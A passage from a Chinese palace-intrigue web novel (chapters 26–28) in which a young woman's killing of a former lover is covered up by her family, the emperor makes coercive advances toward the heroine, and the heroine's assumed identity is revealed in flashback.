从没见过公子这样阎罗煞神般的脸色,素桃一个哆嗦,直接跪了下去,“奴、奴婢也不知道啊,姑娘起初是去小解,陪着一道的。回来后又说要去散心,奴婢再要一同,姑娘就不让了,说一刻钟就回,奴婢就差抱着姑娘的腿哭,结果姑娘不知哪儿来的帕子,在奴婢眼前一晃,就让奴婢晕了过去。再醒过来,就……就是公子来了。” 王宗赫神色紧绷,万种猜测在脑海中一闪而过。妹妹之前就做过一次傻事,休养几月看着已经大好了,此行才带她出来散心,结果一转眼就又出差错。 “素桃。”清蕴走到素桃身边,仔细观察她神色,“你说姑娘在你眼前甩帕子,用药迷晕了你,是吗?” “……是。” “你当时什么感觉?” “奴婢什么也不知道,忽然就晕了过去。” 清蕴温和的神色忽然转冷,“还要说谎。人到底去了哪?是和谁一起?再不实说,你就不必跟着回王家了。” 为弄清迷药药性,她当时让藉香给自己带了好几种,并一一试验。世上根本不存在沾在帕子上一晃就让人昏厥的迷药,中药后,醒来也必定会神志模糊段时间,不可能这么清醒地回话。王宗赫没接触过这些,所以没发现蹊跷。 素桃没想到陆姑娘连这也清楚,被点明后,终是闭了闭眼,交代所有。 王令娴确实有迷药,但她正带在身上。不止如此,还随身带了个王家护卫,据她说,是赴旧友之约。 哪个旧友?素桃一听就知道是谁,哪敢让人去。可但什么手段都使了也拦不住,还反被主子威胁一通,只能乖乖听从。 听到她带了护卫,王宗赫神色略有缓和,但仍是铁青。 “她可有说什么时辰回?” “姑娘保证,亥时前一定回。” 知道去做了何事,但不知方向,这时候大张旗鼓地找人无疑不妥。王宗赫忍耐住怒火,对白芷吩咐,“和藉香说,令娴姑娘有事找我,我要在这待会儿,方才的事,让他先去和世子禀报。” ** 月色茫茫,整座天穹山被银纱笼罩,夜风至处,柔波无边。 王令娴无暇欣赏美景,心神恍惚地和护卫分开,撞入帐内,“素桃”两个字还没唤出口,就被帐内安静坐着的两人给惊了回去。 三哥王宗赫,表妹清蕴。 白芷站在他们身后,素桃跪坐于地,不停啜泣着,见了她如见救星,“姑娘,你总算回了……” “三哥……”王令娴嗫嚅。 她不敢为自己求情,把求助的眼神投向清蕴。 清蕴别开眼,默不作声喝了口冷茶。 紧张地往里走了两步,突然,王令娴袖中匕首落地,砸在软毯发出闷声。王宗赫定睛看去,上面竟有丝丝点点的血迹,猛地抬头。 “你到底去做了什么?”他面沉如水。 王令娴不敢回话,在兄长逼视下好半晌才颤声说。 “我,我好像……杀人了。” 面前坐的两人动作齐齐滞住,定定看向她。 在王令娴的讲述,她白日里就收到了字条,周墨以二人曾经来往的书信为威胁,约她夜里林间相见。本不想理会,可夜里吃了些酒,醉意上头,就带着护卫去了。 计划是把人打一顿,再夺回书信,但在口头争执之际,怀中防身的匕首掉落,周墨误以为她要伤人,就出手争夺。 护卫加入其中,不知何时,那匕首忽然插进了周墨胸口。紧接着他慢慢倒地,说不出话了。 王宗赫起初发怒,听完原委,反而冷静下来,问出最紧要的问题,“人在哪?护卫在哪?” “我们寻了个山坳,把人丢进去了。护卫是阿庆,就守在外面。” 阿庆是家生子,不可能背叛他们。王令娴想伪装成野兽伤人,何况天穹山这么大,不一定会被人找到,找到的时候,尸体也可能被野兽啃食殆尽了。 王宗赫低头沉思。 周墨在鸿胪寺任职,官职不高,毕竟是朝廷命官。如今朝局形势不算明朗,妹妹杀他,不仅私情可能暴露,处置不好,还可能被有心人利用,牵扯王家。 必须要处理得干净些。 他起身,先看清蕴,然而无需嘱咐,她已经出声,“今夜令娴姐姐都和我待在一起,哪儿也没去。” 王宗赫点头,吩咐素桃,“照顾好你家姑娘,该收拾的都收拾好。” 最后双目沉沉扫过王令娴,“下不为例。” 他迈步出帐时,王令娴双腿一软,体力不支要倒在地上,被清蕴及时扶住。 她回首,想扯出一抹笑,无论如何都控制不了五官,最终垂然放弃。 三哥知道了,那句话就说明,他已经看出自己是故意为之。 不错,她的确是带着杀意赴会,迷药、匕首、阿庆,没有一个是多余的。她连自己的命都可以不要,怎会不敢要别人的命,周郎冒然约她,只能说自己找死。 匕首甚至是她亲手插进周郎胸口,那一瞬间,整个人都释然许多,这些日子以来的愤恨、惆怅仿佛都随哪一刀散去了。轻飘飘一路回帐,见到灯光之后才回归人世,后知后觉地感到了惧怕。 她没想到,自己竟真的了结了一个人的性命。 三哥察觉了,那清蕴呢? 王令娴没有问这话,全程安静地擦洗过身子,烧掉带血的衣物,默默上榻。 她和清蕴躺在一起,两人相顾无言。 许久,清蕴抬手抚了下她的脸。 王令娴顿时泄了所有气势,紧紧把人抱住。 翌日清晨,姊妹俩从彼此眼下的青黑都能看出,对方这一整夜都没怎么睡着。 清蕴向她告别,先回自己的幄帐。 李秉真还没回来,她就做了简单梳洗,换了身衣裳。 又等了一个多时辰,得知建帝突然传召昨夜所有参宴的官员,包括其家眷。 跟随人流而来,发现李秉真早已在其中,见面后没说话,轻握了下她的手。 建帝在万众瞩目中走来,身后跟着万云、李审言等人。 他先扫视了圈所有人。 “昨夜有人窥视帝帐。”轻飘飘的一句话,惊出众人冷汗。 建帝神色淡淡,“不仅如此,今早有人进山狩猎,竟发现两具男尸,且看衣着,都是我朝官员。” 接连两件事,宛如惊雷乍落,引得众人疯狂猜测那两人身份。 “朕本意是见诸位爱卿忙于朝政,为国为民,甚是辛劳,才安排这天穹山一行。哪知,竟有人借此妄行不轨之事,先窥视帝踪,再残杀朝廷命官,下一步是不是就是朕了!” 龙颜大怒,无人敢接。 冷冷扫视一圈,建帝忽叫,“克衡!” “在。” “虎父无犬子,你父亲为大理寺卿,素日断案如神,想必你也不差。朕这就交给你第一件差事,和李校尉同查此案,务必揪出奸贼!” 竟未让在场的大理寺、刑部或都察院任何一官员查案,而是交给了王宗赫和李审言两个彻彻底底的新人。 两人对视,领命后,彼此都不发一言。 第26章 如同名花,必须精心浇灌滋养 建帝命人查案, 最开始的震怒过后,又和颜悦色,说和此事无关的人尽可安心,在天穹山继续玩乐。 不管内心怎么想, 所有人都表现出一副和自己无关的模样, 应声散场。 清蕴慢慢往回走, 眼眸低垂着。 万云刚才的话很值得琢磨, 有人窥伺帝帐、发现两具男尸。 怎么个窥伺法?如何发现?在哪儿发现?死者是谁? 他说得简单,让人议论纷纷, 有种故意搅动人心的感觉。 但如果不是昨夜出了周墨一事,她也不会想太多。所以被搅弄的,只能是心中本就有鬼的人。 慢慢走动的她,和李秉真都没注意到对方的步伐,忽然在帐前碰了下。 对他来说, 这种完全忽略周遭的神游是很罕见的。 抬起头来, 李秉真看到她眼底的询问,低声道:“进去说话。” 一杯茶后,两人跽坐在小几旁, 一缕直雾升腾,没有遮掩住彼此注视的眼眸。 “昨夜的事,我已经查明了。”李秉真开口,“留下血迹之人, 是李审言。” “……他?” “嗯, 昨夜藉香来告知我帐前异样时, 我正和众学子一同讲书, 而后没多久随藉香回帐,左右查探, 皆无异样。”李秉真道,“但今早去拜见母亲,见她心腹侍卫有异状,就多问了几句。” 其实是逼问,他身份特殊,侍卫抵挡不住,没几句就交待了出来。 “陛下口中窥伺帝帐之人,可能是母亲所派。” 清蕴瞳孔微缩。 抛出这惊天之言,李秉真抵唇把咳嗽咽回,解释道:“她不是要行刺陛下,而是……在找李审言。” “母亲想杀他。” 准确来说,是因为李审言一直随侍天子身边,想要确定他的行踪,只能连带着盯梢建帝。 但这种盯梢,和窥伺帝帐有天壤之别。如果建帝发现的真是他们,只能说,他在这件事上夸大了许多。 且找到李审言之后,趁他离开天子身边,大长公主的人就跟随离开了。他们暗中下手,李审言猝不及防受伤,逃离的方向不是人群,而是最近的李秉真夫妇帐篷。 可能是无意为之,也可能是知道李秉真昨夜不会回帐篷,碰见的只会是清蕴,想借她的身份给自己掩饰。 结果清蕴和身边的人警惕至极,仅是看到一点血迹,就没有回帐。 清蕴微微抿一口茶水,掩去心底的惊涛骇浪。 以李审言的身份,大长公主恨他是理所当然。可她想不到,这位殿下会冒如此大风险,宁愿引起建帝警惕,也要强行杀他。 “这并非第一次。”看出她的想法,李秉真继续,“早在六年前,母亲就已做过类似的事。” 六年前,跶虏倭寇之乱还未停歇,民间起义仍有盛行。李审言在府中度日艰难,被大长公主这座大山死死压住,他注定永无出头之日,便冒险混入平乱大军,想以军功傍身。 他继承了齐国公的军事天赋,从小兵到都尉不过短短一月,敢于冲锋、擅长谋略、无惧生死,且立下赫赫战功,无论谁都知道他回京就会受重赏。 这支平乱军并非齐国公、大长公主麾下任何一脉,可有他们相熟之人。提前得知消息后,大长公主设陷杀李审言未果,便转而让人顶了他的军功。 朝堂上下皆被利益裹挟,何人会为他伸冤?自然不可能有。 这条路也被大长公主堵死,李审言沉淀数年,许是发现,不管再怎么脚踏实地,也比不过天子的一份赏识。 李秉真记得那时情形,因为他恰好处于重病之中,太医连连摇头,让国公府准备丧事。母亲悲之欲狂,如何能容忍李审言立功封官? "今早看他仍跟在陛下身边,安然无恙。" 李秉真说:“他受的是轻伤。” “死的那两人……?” 摇头,李秉真道:“我目前也不知身份,很可能是十二卫中的人。”李审言警惕至极,死的人有大概率是做了他的替死鬼。 按他的意思,如果牵涉到大长公主,李审言但凡查到蛛丝马迹,绝不可能放过,甚至可能借此搅弄风云,狠狠报复国公府。 关键在于,如今查案的不止他一个,还有三哥王宗赫。 假如死者之一是周墨,为掩饰真相,他必会暗中阻拦李审言。 清蕴沉默了会儿,在李秉真说完后,告诉他,“昨夜我们也遇到了一事。” “和陛下所言有关?” “不一定。”清蕴瞥了眼帐外,“此事和我干系不大,但可能会和你方才说的有关。你去找三哥,如果他认为可以告诉你,自会说出来。” 指节轻扣桌面,李秉真道:“好,今夜我再去找克衡。” 说完这句,他抵唇低咳两声,眉头紧锁,状态比在马车上还要不如。 少思,少思。为他取这一字的人,是让他要少思虑,方能无忧。 昨夜几乎没睡,今日又在思索各事,对于李秉真的身体而言,负担不小。 “先歇会儿罢。”清蕴为他顺背,轻声,“无论什么事,总要先休息好。” “嗯。” ** 这是到达天穹山的第二天,虽然发生了窥伺帝帐一事,依然有不少人在建帝令下继续在猎场附近打猎。 夫妻俩不好一直待在帐篷里,休息不到一个时辰就起来了,准备随便转几圈。 李秉真牵来马,和清蕴沿猎场外围慢走,偶尔遇见野兔、雉鸡之类的小动物,就让藉香他们围堵射箭。如此下来,即便没有深入猎场,也收获颇丰。 见两个护卫手上拎满猎物,清蕴提议,“问问父亲母亲是否有空,请他们来小聚,如何?” “藏翠去罢。”李秉真应了下来,回头笑说,“不过父亲那儿恐怕没空,他每回到猎场,总会有应付不完的邀约。” 他很了解齐国公,藏翠来回话的时候,果然说公爷不得空,让他们自己烤着吃,还额外又送了头鹿来。 加上护卫女使,这里也没超过十张嘴,无论如何都吃不了。清蕴就让人送了些给王家,也给李秉真族中堂兄弟那边送了些。 大概是大长公主不好打交道,李家宗族那边和国公府来往较少,收到这些猎物后受宠若惊,又着人回送了些秘制调料。来往几回,知道猎物是世子夫人所赠,另外给添了两壶甜酿。 大长公主带着李琪瑛一块儿来时,见到李家下人,得知是儿媳主动送的东西,没说什么。 唯独李琪瑛改不了挑毛病的性子,扫了圈猎物,“就这么几个小东西?我随便去转一圈,都比这些要好。” 清蕴没动气,点点头,“自是不如獐子、鹿大,但胜在数量多,摆一次小宴足够了。” 李琪瑛:“……” 她昨天猎的就只有一头獐子。 身旁坐的是母亲和兄长,这两人无一不向着陆清蕴,还是不逞这口舌之利了。 轻哼了声,她不再说话,随众人慢悠悠吃着烤肉时,张口道:“阿娘,明天陛下要去天穹山深处猎熊,我也去跟去瞧瞧。” 大长公主在想别的事,心不在焉应了声。这种寻常人觉得危险的事,在她眼里都不算问题。不说建帝身边有上百人护卫,女儿进猎场,她也给配了十几人,遇到危险也不用慌。 李秉真忽然出声,“你昨夜受的伤没好,先休息两天,明天就在外围转转。” 李琪瑛一呆,面对母亲睇来的询问眼神,忙解释,“那柳三同人一起为难我,我一时气不过才打人的,后来鞭子没用好,不小心伤了手臂而已,不打紧的。” 不是被别人伤的就行。大长公主放下心,仍选择站在儿子这边,“你大哥说得没错,伤势无论大小都不能随意,我会和万云那边说,明儿不准带上你。” 李琪瑛:“……” 怎么都想不通兄长为何突然管束这个,李琪瑛努力为自己申辩了几句无果,又气冲冲走了。 场中除了李秉真自己,大概只有清蕴能猜到几分他的用意。 大长公主和李贵妃身在其中太久,不曾察觉,她却是在第一面就感觉到小郡主对建帝的不同之处。 可能只是小姑娘对天子的膜拜,也可能是懵懂时的一点感觉。这种感情平时还好,一旦遇到契机,就容易转变为春心萌动。 李秉真以前很少进宫,应该是在上次的相处中看出了隐患。 大长公主带来的几个侍卫一起发力,共同解决了一头鹿、五只野兔、两只雉鸡并十几盘果蔬。清蕴后来基本没怎么动筷,李秉真见她用得少,另给她烤了份野蘑菇。 最后结束,夫妻俩难得都有些撑了,和大长公主分开,继续在外行走消食。 大约是这儿较为偏僻,前来寻人的小公公瞧见他们,长舒了口气,三步做两步跨来,“李大人,可让奴婢好找!陛下召您呢,快去罢。” 李秉真最先反应过来,温声道:“敢问公公,陛下是因何事传召?” “奴婢不在御前伺候,也不清楚,是万公公吩咐,奴婢只是个传话人。” 从小公公这儿问不出缘由,李秉真给清蕴递去安抚神色,先跟人离去。 如果不是那两件事,这场传召没什么特别。李秉真作为侍讲学士,本就有随时侍奉天子的职责,兴致来了,半夜唤他去讲书都有可能。 清蕴没有胡思乱想,传李秉真到御前不一定是为那件事,如果真的查明真相,发难的对象也不该是他。 理智上明白所有,在往回走的路上,清蕴还是忍不住出神了。 但她还没到帐篷,刚才的小公公去而复返追了上来,“夫人,夫人。” 他气喘吁吁,“万公公交待,陛下一同传夫人前去。” ** 第二次面圣来得突然,连更衣的时间都没给,小公公前后间距不过两刻钟,跑得也急,“万公公说了,不必特意梳洗更衣,陛下只问两句话,还请夫人别耽误太久。” 他这样说了,清蕴只能转道随同去行宫。 行宫和扎营处离得不远,习惯了绿水青山,乍然瞧见大片飞檐翘角,难免有种割裂感。 路途经过的仆役不算多,相较于皇城,算得上冷清。 万云候在殿外,“夫人快进罢,陛下已等候多时。” “世子已进去了?” 万云没说是,也没说不是,只让白芷停留在外,重复了声,“夫人,请。” 瞧了眼天色,清蕴入内。 行宫一切依建帝喜好,仿和宁殿布置,槅扇多,屏风多,短短几步,绕了数座屏风。殿内香雾缭绕,更看不清里面什么情况。 终于得见天颜时,建帝正斜躺在罗汉床上,左右无宫婢,也无李秉真,仅有一位妇人妆扮的美人在捏腿。 “臣妇参见陛下。”清越的声音在内殿响起,和美人低语的建帝瞧见她,眉头扬起,摆了摆手。 美人会意起身,对他行礼后告退,经过清蕴身边时,特意对她微微一笑。 她走了,不知何处有宫女现身,服侍建帝穿靴披衣,奉上茶水点心,再恭敬退去。 “可认得她?”建帝饶有兴致地问。 他指的,当然是最初那位美妇。 清蕴否认。 建帝站直身,悠悠目光好像注视着那道已经消失的背影,唇畔勾起,“她的夫君名姜直,是朕的工部侍郎。” 工部侍郎姜直,这个人几年之内连升六七级,引得议论纷纷,清蕴当然听过。 姜直不在场,他的夫人却在这儿给建帝捏腿,其中意思再明显不过。但这种天子和臣妻厮混的事,清蕴怎么好出声回复,继续保持沉默。 建帝自顾自说了下去,“两年前,她夫君不过是个小小的太仆寺丞,俸钞几百贯,禄米百石,难以维持一家十几口生计,她也得在街边沽酒谋生。” 他叹了口气,“如斯美人,在街边整日经受风霜欺打,怎能不憔悴?如同名花,必须精心浇灌滋养,方可盛放。” “夫人以为呢?” 靠得近了,建帝低沉含笑的语气越发明显。清蕴脑袋微低,纹丝不动的模样像根钉在原地的木头,“陛下有仁爱之心,臣妇弗如。” 建帝笑两声,“你是个女子,怎能和朕比较呢?朕向来怜花惜玉,当然不忍美人受苦。” 怎么个不忍受苦法,已经很明显了。建帝满不在意,清蕴却不能顺着他的话聊,想了想,只能略过这个话题,“敢问陛下,臣妇外子何在?” “他身体虚弱,一路咳过来,随时要倒下的模样。朕见了哪里忍心让他随侍,着太医看过,就让他先去歇息了。” “既如此,臣妇也先行告退。” “不急。”建帝道,“朕倒是好奇,少思身体这么弱,夫人当初怎会答应嫁给他?” 说着话,他走到小几前,自斟了杯茶喝,看起来像闲话家常。 在建帝凝视下,清蕴不想答,也得开口。 “父母之命,媒妁之言。两家长辈商定,作为小辈,当然是谨遵教诲。” “是么?”建帝意味不明地笑了下,“朕还以为,是姑母深信浮云寺的法显批言,找遍京城,只有夫人最符合这道批言,才逼迫王家而成的婚事。” 清蕴眉间微蹙,似是不解他为何这样说。 “说起来,朕无意间还得知了一件趣事。”建帝将杯中茶水一饮而尽,回头,“当初王家命人去江苏陆家接外孙女,几人途中遭遇山崩,马车摔下悬崖。那悬崖十来丈高,里面的人竟能够生还,这位陆姑娘当真幸运至极,你说是不是?” “不对。”建帝微微一笑,“你当真是陆清蕴吗?夫人。” 第27章 李秉真能给她快乐吗? 承乾宫那天之后, 建帝因清蕴临危不惧的表现对她生出兴趣,命十二卫中的锦衣卫查探。 锦衣卫办事仔细,连她在江苏的日子都没有落下。 据查探的消息得知,自从父母离世后, 陆清蕴在陆家很不受待见, 长辈忽视, 兄弟姊妹欺凌, 连弟弟生病了都难以请到大夫。左邻右舍说,她性格怯懦胆小, 旁人说话声音稍大些,就会吓得连连发颤。 陆家也不曾请先生教导她,浑给一口饭吃而已。 当时建帝就觉纳罕,她八岁到王家,在这之前, 性情应该已经定型了。王贞有那么大能耐, 能把外孙女教得脱胎换骨? 随后,锦衣卫顺着陆清蕴从江苏往京城的一路打听,得知他们路途经历过山崩, 在那座山附近休养了半个月。再往下,竟在崖底发现一处无字墓碑。将墓翻倒,里面有具森森白骨,经仵作判断, 墓主人应是个八岁女孩儿, 且那仅剩的一点衣料, 疑似苏州特有的锦布。 种种细节串联, 让建帝突然有了个最不可思议的猜想。这时候说出口,是试探, 也是想看她反应。 可惜不知是想多了,还是她隐藏太好,脸上除了迷茫和惊讶,再无其他。 “陛下在说什么?”清蕴不解地回。 建帝定定看她,须臾,漫不经心回,“朕随口一说罢了。” 是陆清蕴如何?不是又如何?于他而言并没有区别。只是生出那样的猜想后难免好奇,如果真是李代桃僵,王贞那修炼成精的老狐狸竟也没发现蹊跷,可见她极擅伪装。 想到这儿,建帝笑了笑,抬手敲桌,立刻有宫人举托盘入内,奉到他面前。 盘内摆放着一份药粉,一杯温酒。 清蕴立刻想到曾在权贵间风靡一时的药,名寒食散。本是用来治伤寒,有人服用后,说此药有神明开朗、壮体延寿的功效,顿时让它大受欢迎。 但这药服用后的症状…… “夫人可要来一份?”见她盯着自己盘中的药,建帝举手相邀。 “多谢陛下,不必了。”清蕴道,“既然陛下有事要忙,臣妇就先行告退了。” “不急。” 建帝用了今天的第二份药,燥热感更甚,酒气、药气,以及她身上不明的幽香混合在一起,组成奇异的味道,令他几乎血脉偾张。 他站在原地,居高临下地俯视面前微微垂首的清蕴。 美到她这个地步,无论哪种角度看都别有一番风味。肌肤欺霜赛雪,眼眸明媚如水,不知是热的,还是紧张的,面颊点点生晕,时而翻飞的眼睫宛如蝶翼,多少泄露了主人心事。 李秉真碰过她吗?建帝忽然好奇。 或者说,李秉真能给她快乐吗? 他如此想着,脑海中回忆起年少时不经意看见的那一幕。 平王进京为太后贺寿,被特允在宫内歇息。他醉倒在主殿床榻时,父皇就在侧殿和平王妃偷欢。 建帝当时还好奇,为何平王住处没有安排宫婢内侍,结果还没入内,就听到两人声音。 他当时笑了笑,觉得父皇色迷心智。为了不让第四人撞破这场景,干脆亲自守在了外面,再在他们结束时,悄然离去。 那时不以为然的事,后来却时不时回想,直到遇见姜直之妻,才懂这种滋味确实非常美妙。 尤其是,面前人是他那位姑母的好儿媳、表弟的妻子时。 他不知道如果换了个人,自己会不会依然如此,但眼下,他确实对陆清蕴兴趣极大。 ** 万云亲自带领清蕴离开,走到行宫外时,恰巧碰上来求见建帝的王宗赫。 他以为她是随李秉真面圣,视线往后,却没看见其他身影。 转瞬间,清蕴第一次看见自己这位三哥脸上出现惊愕的神情。 没来得及说其他,她点头示意后慢慢往回走,到帐内才知道李秉真没有回,暂时待在了太医那儿。 径直走到铜盆前,清蕴仔细洗手,不知不觉洗了有近一刻钟,直到白芷担忧地叫她,“夫人。” 手都搓红了,手背还有一处搓破了皮。 白芷不知主子在陛下那儿经历了什么,总之不是好事,情绪明显有些失常。 取来干巾,无声地帮她拭干,白芷低声建议,“如果有难事,夫人不妨和世子说说。” 这几个月来,她看得出主子和世子相处得不错,在世子面前越来越自在。有时候,感觉比在王家还要轻松。 清蕴垂眸,没回她。 和李秉真说自然会有用,冲动些,甚至可以去告诉大长公主。可从建帝的态度来看,他对国公府有忌惮,但杀心更重。本来就有窥伺帝帐一事,再闹出其他事端,反而容易使国公府陷入困境。 “眼下齐国公府烈火烹油,可今日之后又会如何,谁能知晓?”这是建帝原话,他根本不在意她会去“告状”。 在建帝看来,无论她怎么挣扎,最终都会成为他的掌中之物,所以刚才即便服了药再冲动,也仅仅是拿着她的手把玩片刻,就放她离开了。 “我累了,先歇会儿。”清蕴吩咐,“世子回了就叫醒我。” 说完没多久,就陷入睡梦之中。 但这觉注定睡得不安稳,大概是因建帝那句试探的话,她梦见了好些年前的事。 …… 她确实不是陆清蕴,真正的王贞外孙女,已经在来京途中,不幸因山崩跌下悬崖,当场身亡了。 但她又是“清蕴”,只同音不同字,本姓林,名清韵。 她的父亲为山长,掌管博文书院,母亲亦出生书香世家,在当地小有名望。 他们居住的县城临海,时常会有倭寇侵袭的烦扰,但一直以来有官兵镇压,还算太平。 在她八岁那年,倭寇不知为何越发猖狂,甚至有北边的跶虏南下,联合他们一同骚扰建朝百姓,本县兵力根本无法抵挡,其他地方又迟迟不来支援,让城内很快乱了套。 大户人家纷纷迁走,书院渐渐没了学生,父亲却无论如何不肯离开故乡,最终和母亲一起死在倭寇手下,而她因藏身地窖,得以生还。 母亲临终前,让她去投奔身在宛平的姨母,却不知这千里之遥,一个年仅八岁的小姑娘,如何要跋山涉水抵达京城附近。 路途当然艰难,因生得漂亮,几次险些被拐卖迷晕,而后慢慢学会了遮掩容貌,也懂得了如何看人脸色,怎样才能对自己有利。 途径一处村庄时,她一眼就看出了陈管家谈吐不同,定出自大户人家,且他心地仁厚,武艺也不错,能够以一挡五。听他说,他们正是要往京城去。 陈管家谈吐好、武艺精,却缺了田间农户的经验,不知吃错什么东西,一行三人开始上吐下泻,被赤脚大夫诊断为疫病,村庄的人立马要赶他们离开。 清蕴悄然跟随,在他们还没到下个城镇时现身,拿出管用的土方,仅在一夜之间就大大缓解了他们症状。 陈管家感激不尽,询问她来历,她说自己和仆役失散,正要去宛平寻找父母。陈管家当即提出同行邀请,她顺势应了下来。 真正的陆清蕴很柔弱,且颇为胆小。大概是在陆家很少收到善意,清蕴仅仅是多夸她几句,就立刻被引为知己,所有心事尽数吐露,连家事也毫不设防地告诉了她。 陆、王两家的事,清蕴几乎立刻就知道了七八。 途径山崖时,前路被倒下的树木拦住了,她下马车和陈管家、陈危一同清理,陆清蕴则留在马车内。 谁能料到,就那时候山崩突然来临,马车不幸被砸中,陆清蕴直接和马车一起跌落山崖,陈管家情急之下救人,也被砸中脑袋,昏迷不醒。 历经六七个时辰,她和陈危才绕到崖底,幸运地找到了陆清蕴,但不幸的是,她已经没了声息。 面对眼前的一死一伤,清蕴脑海中,自然而然生出了一个想法。 …… “夫人?”熟悉的温润男声把清蕴从梦中唤醒,李秉真的眉眼近在咫尺,“梦魇了吗?见你满头是汗。” 不止汗水淋淋,眉头皱得也极深,李秉真见状,直接叫醒了她。 “……是做了个噩梦。”借他的手喝了口水,清蕴问,“怎么回得这么晚?” “陛下见我身体不适,没有留我太久,传太医为我看诊。”李秉真解释,“云太医给我施了针灸,又让我静坐半小时才能走。” 清蕴坐起身,仍没有从梦中完全回神。 她很久没做过这种梦了,也很久没再想起这些事。 最初刚到王家时,确实忍不住思索,也许王尚书和秦夫人下一刻就会发现她的身份,轻者扫地出门,重者让她一同去陪陆清蕴。 那时候她总睡不好,无眠到天亮,但白日面对王家人,依然会表现得毫无异样。 其实她内心清楚,过去八年王家都没发现,旁人就更不可能发现其中蹊跷。建帝也查不出真相,只能全凭猜测。 世上唯一知道她身份的,是陈危,也只有陈危。 他绝不会背叛她。 第28章 陈危于她 夜色深沉, 陈危绕过巡逻侍卫,悄无声息地来到齐国公府幄帐附近,白芷正在不时张望,看见他的身影忙小幅挥手。 “主子怎么了?”他压低声音问, 因赶得急, 说话时还带着微微喘息, 额头一层薄汗。 “连续两天都没睡了。”白芷把他拉到暗处, “就像之前那样,不然我也不会非叫你来。” 夫人隐藏得好, 在世子面前完全没表现出彻夜难眠的模样,但完全瞒不过贴身伺候的她。 眼下青黑就用脂粉遮挡,精神不好就喝茶提神,看得白芷内心暗暗焦急。突然想起主子刚来王家时,也有段时间是这个状态, 那时候找谁都不行, 唯独陈危可以。 只要陈危陪着,主子就能够慢慢恢复平静,也能入睡。 那时候她很不解, 不过从来没探究过原因,也不曾告诉旁人。也许是因为这个,主子从此以后对她格外信任。 “世子呢?” “有事出去了。”白芷说,“这两天夜里世子都会出去, 亥时再回, 还有时间。” 陈危点头, 左右扫视一圈, 确认没人注意这边,以极快的速度进帐。 厚厚的帐布隔绝了大部分灯光, 入内后,他才发现里面燃了五盏烛台,除去四角,还有盏摆在小几,一道身影坐在凳上,正专心看书。 她看得入神,细微的风引得烛光摇晃也没有察觉。即便只身在帐内,她也没完全放松,仅微微倚着小几,姿态仍显优雅。 这是她到王家后养成的习惯,任何时候都不会彻底松懈。 陈危发出一点动静,她头也不回道:“白芷,再帮我泡一壶茶。” 找到装热水的铜壶,陈危很快重新泡了壶茶,他的手落在旁边的那一刻,清蕴才注意到身边并非白芷,微怔,反应过来,“白芷叫你来的?” “嗯。”陈危解下佩刀,避免磕碰帐内物件,帮她整理身旁堆得摇摇欲坠的书。 来天穹山,她当然没带这么多书,这些大都是从别人那儿借的,什么都有,最多的是各种有趣话本。李秉真还未回,又不想只身上榻的时候,就靠这些话本消磨时间。 陈危收拾时,清蕴就静静看着他,注意到他不知何时又拔高许多的身形。许是这段日子时常练武,手臂、腰腹、小腿的肌肉愈发明显,相较少年的清瘦,更具有力量感,已经渐渐有了成年男子的模样。 时间过得很快,她恍然意识到这个事实。 这几天不断浮现的记忆中,陈危还是个和自己同龄的半大少年,面容充满青涩,却有着极强的毅力,在一路艰难中,把受伤昏迷的陈管家和她一起带到了京城。 所以陈危于她,是安全的代名词。 而她难以入眠,不止是因被迫记起往事,还有建帝毫不掩饰的对国公府的杀心。每每躺在榻上,脑海中就忍不住开始思索这件事。 李秉真敏锐,早有危机感,以身体原因避开政事,也许是想借此打消皇帝警惕。大长公主和齐国公那儿有收敛,但成效甚微,毕竟身份摆在那儿,内阁次辅以齐国公马首是瞻,这是众所周知的事。 何况到了这个地位,即便他们愿意放权,形势也不一定容许。 “主子,该睡了。”收拾完书,把她手中那本也取下,陈危简单明了道。 他向来这样,不会说什么好听的话,更多时候都是在埋头默默做事。 清蕴忽然抬手,抚摸他的脸颊。 陈危微微一震,丝毫没有抗拒,顺从地单膝跪地,仰首看她,任由那只纤细的手抚过额头、眉、眼和发。 “陈叔最近怎么样?” “还是老样子,能够正常吃睡,每天就在庄子附近走走。” 清蕴:“没有再请大夫去治吗?” “大夫说,是脑子里有淤血堵住了,要等它自行化开。” 这个回答和之前差不多,清蕴料想也是这样。 她对陈管家没有想法,即使建帝突然说出那个猜想,也没有惊慌。已经过去八年多,不说陈管家是否还记得当初的事,就算他记得,也认不出她到底是陆清蕴还是林清韵,女大十八变,随便找个理由就能够搪塞过去。 且陈危会帮她。 该如何形容两人的关系?她从没想过这个问题,只清楚自己无法离开陈危,所以即便出嫁,也把他要到了身边。 这件事,她甚至没有问过陈危想法,只凭直觉认为他会答应。 即使他不答应,她也会让他愿意。 “在齐国公身边怎么样?” 陈危顿了下,“公爷很器重我,悉心栽培。” “那就好好跟着。” 说完这句,清蕴沉默了会儿,又问:“你会做梦吗?” “……不会。” 陈危的回答让清蕴唇畔逸出笑意,他当真不擅长说谎,还要留足让人怀疑的时间。 不过,她也不是求什么答案,随口一说而已。陈危这样的性子,本就不指望他会剖析什么心迹。 她在陈危服侍下解去外衣,上榻。 “我这两天时常做梦。”清蕴轻声道,“待会儿我睡着了,你再等会儿,如果感觉在做梦就叫醒我。” 能够让人明显看出来的,一般都是噩梦。陈危点点头。 清蕴闭上眼。 在这样沉默无声的目光下,消失两天的困意慢慢回归,很快让她呼吸平缓。 这时候,陈危才真正把目光移到她的脸上,用视线描摹她的轮廓,不带任何狎昵,只是下意识记住她此刻的模样。 他刚才确实说谎了。 小时候的陈危不会做梦,爹娘很早就去世了,没给他留下太多回忆。养育他长大的叔父一直就在身边,没必要在梦中怀念。 他的脑海中也很少有杂念,通常是得了什么吩咐,就一心一意地做,做好,就放下了。 叔父说他性子傻,不会讨巧,脑袋也笨,只能做些力气活。 “你最能叫人看重的,也就是护主和忠心了。”叔父这样告诉他。 可他心知肚明,这两点自己也没有真正做到。 所以后来做梦,偶尔会梦见叔父神智清醒过来叱骂自己的场景。不过更多的,还是进京途中的那些日子,以及那张时而冷静时而盈满泪水的脸。 大概是因身份,她这些年会下意识把一切做到最好,让王家人喜欢。也是因为这些,她防备心特别强。 陈危知道她信任自己的原因,不止是因为两人有共同的秘密,更因为他无亲无友,身边仅有她一个人,他的所有都归属于她。 她喜欢一心一意的注视,没有任何人或事物能够影响她地位的注视。 三公子在乎的东西太多了,家族、仕途、亲人,哪样都不会割舍,所以即使察觉到三公子的心思,她也会忽略、避开。 世子能够逐渐得到她的信任,是因为世子本身欲望淡薄,对名利、亲人、自己都不在乎,能够把仅剩的那一点注意力全部倾注在她身上。 旁人知道这些想法,可能觉得偏激、病态。 但陈危觉得,这样就很好。 ………… 